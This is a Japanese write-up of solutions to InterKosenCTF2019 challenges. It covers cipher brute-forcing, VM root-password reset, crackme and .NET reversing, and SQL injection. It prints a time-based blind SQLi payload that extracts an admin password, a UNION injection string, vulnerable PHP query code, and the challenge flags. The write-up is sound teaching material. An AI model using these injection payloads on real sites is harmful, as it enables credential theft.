InterKosenCTF2019にソロチーム/dev/nullとして参加しました. 難易度調整のおかげで楽しめましたが一人でやるには時間が圧倒的に足りませんでした. そろそろちゃんとチームを組みたい.
Kurukuru Shuffle
暗号化された文字列と暗号化に使われたと思しきスクリプトが渡される.
1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm
from secret import flag
from random import randrange
def is_prime(N):
if N % 2 == 0:
return False
i = 3
while i * i < N:
if N % i == 0:
return False
i += 2
return True
L = len(flag)
assert is_prime(L)
encrypted = list(flag)
k = randrange(1, L)
while True:
a = randrange(0, L)
b = randrange(0, L)
if a != b:
break
i = k
for _ in range(L):
s = (i + a) % L
t = (i + b) % L
encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
i = (i + k) % L
encrypted = "".join(encrypted)
print(encrypted)
未知の変数 k, a, b によってflag中の2文字を L 回入れ替えるスクリプト. 各変数の値は (1 <= k <= L), (0 <= a <= L), (0 <= a <= L) かつ (a != b) だが結果を推測することは出来ない. ただし L=53 なので総当たりした場合の試行回数は 53 * 53 * 54 * 53 = 8,039,358 10^7 未満なので現実的な実行時間で求められる
from random import randrange
flag="1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm"
L = len(flag)
def decrypt(k, a, b,):
encrypted = list(flag)
i = k
for _ in range(L): // 53
s = (i + a) % L
t = (i + b) % L
encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
i = (i + k) % L
return "".join(encrypted)
for k in range(1, L): // 53
for a in range(0, L): // 54
for b in range(0, L): // 53
if a != b:
r = decrypt(k, a, b)
if r.startswith("KosenCTF{"):
print(r)
先頭がKosenCTF{で始まる読み取り可能な文字列が正解フラグ
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
lost world
渡されたvdiをVirtualBoxで開くとUbuntu18.04が再生される.
rootでログインしてdmesg | grep KosenCTF
すれば良いと問題文に書かれているがrootパスワードが失われている.
Ubuntuのパスワードリセットの手順を試せばよい.
起動時にShift長押しでブートローダに入ってe
.
パラメータを書き換えてCtrl-x
で起動.
変更前
linux /boot/vmlinuz-4.15.0-55-generic root=UUID=19b12e1f-65fb-4367-a95b-3087c827d67d ro splash quiet $vt_handoff
変更後
linux /boot/vmlinuz-4.15.0-55-generic root=UUID=19b12e1f-65fb-4367-a95b-3087c827d67d rw splash quiet $vt_handoff init=/bin/sh
シェルに入ったらrootパスワードをリセットする
/dev/sda1: recovering journal
/dev/sda1: clean, 60521/655360 files, 577830/2620928 blocks
/bin/sh: 0: can't access tty; job control turned off
#
# passwd
Enter new UNIX password: **新しいパスワード**
Retype new UNIX password: **新しいパスワード**
passwd: password updated successfully
rootでログインできるようになったら冒頭のコマンドを実行する.
# dmesg | grep KosenCTF
[ 1.708763] KosenCTF{u_c4n_r3s3t_r00t_p4ssw0rd_1n_VM}
Temple of Time
Webサイトに対する攻撃ログを分析して管理者情報が盗まれたか調べる問題. 分析対象としてHTTPのパケットが与えられる.
攻撃者はlogin.phpにtaroアカウントでログインしている. その後index.phpに以下のようなクエリを大量に投げている.
http://147.192.122.109/index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D48%2CSLEEP%281%29%2C%27%27%29%29%29%23
URLデコードするとTime-based SQLiしている事が分かる.
portal='OR(SELECT(IF(ORD(SUBSTR((SELECT password FROM Users WHERE username='admin'),1,1))=48,SLEEP(1),'')))#
成功するとSLEEP(1)が有効になるのでHTTPレスポンスが戻ってくるのに時間がかかる. したがってWiresharkのフィルタでHTTPのRTTが1.0sec以上のものを抽出すれば良い.
http.time > 1
抽出したパケットの中から ORD(SUBSTR((SELECT password FROM Users WHERE username='admin'),1,1))=x
に於けるxを時系列に並べると以下の通り.
75, 111, 115, 101, 110, 67, 84, 70, 123, 116, 49, 109, 51, 95, 98, 52, 115, 51, 100, 95, 52, 116, 116, 52, 99, 107, 95, 118, 51, 49, 108, 115, 95, 49, 116, 125
これをデコードすればフラグが手に入る.
KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}
basic crackme
以下のようなELFファイルが与えられる.
# ./crackme
<usage> ./crackme: <flag>
flagは前方一致していれば中途半端な文字列でも成功判定される.
# ./crackme Kosen
Yes. This is the your flag :)
# ./crackme Kosem
Try harder!
すなわちflagを1文字ずつ探索するスクリプトを書けば良い.
import subprocess
import sys
flag = "KosenCTF{"
while True:
for c in range(33,127):
cmd = ["/tmp/kosenctf2019/basic_crackme/crackme", flag + chr(c)]
ret = subprocess.check_output(cmd)
if ret.startswith(b"Yes"):
flag += chr(c)
print(flag)
if chr(c) == "}":
sys.exit(0)
continue
magic function
以下のようなELFファイルが与えられる.
# ./chall
NG
このELFにはいくつかのチェックポイントがある.
引数が無ければNG
0x00000000004007ce <+9>: mov DWORD PTR [rbp-0x24],edi
0x00000000004007d1 <+12>: mov QWORD PTR [rbp-0x30],rsi
0x00000000004007d5 <+16>: cmp DWORD PTR [rbp-0x24],0x1
0x00000000004007d9 <+20>: jle 0x400876 <main+177>
f1の後のcmpに失敗したらNG
0x0000000000400806 <+65>: call 0x400618 <f1>
0x000000000040080b <+70>: cmp bl,al
0x000000000040080d <+72>: je 0x400849 <main+132>
0x000000000040080f <+74>: jmp 0x40087d <main+184>
f2の後のcmpに失敗したらNG
0x0000000000400826 <+97>: call 0x4006a7 <f2>
0x000000000040082b <+102>: cmp bl,al
0x000000000040082d <+104>: je 0x400849 <main+132>
0x000000000040082f <+106>: jmp 0x40087d <main+184>
f3の後のcmpに失敗したらNG
0x0000000000400840 <+123>: call 0x400736 <f3>
0x0000000000400845 <+128>: cmp bl,al
0x0000000000400847 <+130>: jne 0x400879 <main+180>
まずはf1, f2, f3のチェックポイントにブレークポイントを仕掛ける.
gdb-peda$ b *0x400845
Breakpoint 1 at 0x400845
gdb-peda$ b *0x40082b
Breakpoint 2 at 0x40082b
gdb-peda$ b *0x40080b
Breakpoint 3 at 0x40080b
gdb-peda$ i b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000400845 <main+128>
2 breakpoint keep y 0x000000000040082b <main+102>
3 breakpoint keep y 0x000000000040080b <main+70>
適当な引数を指定して実行しブレークポイントでレジスタを観察するとプログラムの挙動が推測できる. 引数はRBXに格納され正解FLAGはRAXに格納されるようだ.
すなわち、ブレークポイントでRBXを上書きしつつContinueすれば正解FLAGが入手できる.
適当な引数を指定してrun
gdb-peda$ run KosenCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
rbxの上書き
gdb-peda$ set $rbx=0x99
次のブレークポイントまで実行
gdb-peda$ continue
passcode
32bitの.Netアプリが与えられるのでdnSpyで開く.
public Form1(){
this.InitializeComponent();
this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838"
select (int)(c - '0')).ToList<int>();
this.debug();
this.reset();
}
private void reset(){
this.vars = new List<int>{ 1, 2, 3, 4, 5, 6, 7, 8, 9 };
this.indices = new List<int>();
this.state = new List<int>();
}
private void shuffle(){
int num = 0;
foreach (int num2 in this.state){
num = num * 10 + num2;
}
Random random = new Random(num);
for (int i = 0; i < 9; i++){
int index = random.Next(9);
int value = this.vars[i];
this.vars[i] = this.vars[index];
this.vars[index] = value;
}
}
private void push(int index){
this.indices.Add(index);
this.state.Add(this.vars[index]);
this.shuffle();
if (this.state.SequenceEqual(this.correct_state)){
string text = "";
for (int i = 0; i < this.indices.Count / 3; i++){
text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString();
}
MessageBox.Show(text, "Correct!");
}
}
indicesはクリックしたボタンの値によって構成される数列であり、stateはボタンに関連付けられた値(vars)によって構成される数列である. なおvarsはボタンを押す度にランダムにシャッフルされる.
stateとcorrect_stateが同じ数列になる順番でボタンを押せば良いので、varsの状態を確認しながら次に選ぶべきボタンを押すコードを書けばよい.
public Form1(){
this.InitializeComponent();
this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838"
select (int)(c - '0')).ToList<int>();
this.debug();
this.reset();
// 追加コード
using (List<int>.Enumerator enumerator = this.correct_state.GetEnumerator())
while (enumerator.MoveNext()){
int num = enumerator.Current;
int index = this.vars.FindIndex((int x) => x == num);
this.push(index);
}
}
uploader
ファイルアップローダのURLとソースが与えられる. WebサイトにはFLAGだと予想されるsecret_fileがアップロードされている. ただしファイルをダウンロードするためにはダウンロードパスワードを入手しなければならない.
パスワードはファイルアップロード時にfilesテーブルに登録される. であるからSQLiでfilesテーブルからpasscodeカラムを読み取れば良い.
$db->exec("INSERT INTO files(name, passcode) VALUES ('$filename', '{$_POST['passcode']}')");
以下の箇所は$_GET[‘search’]を直接SQLに組み込んでいるのでSQLiを狙える.
// search
if (isset($_GET['search'])) {
$rows = $db->query("SELECT name FROM files WHERE instr(name, '{$_GET['search']}') ORDER BY id DESC");
foreach ($rows as $row) {
$files []= $row[0];
}
}
以下のような文字列を与えれば良い.
') UNION SELECT passcode from files; --
その結果passcodeの結果を画面に出力するSQLが完成する.
SELECT name FROM files WHERE instr(name, '') UNION SELECT passcode from files; --') ORDER BY id DESC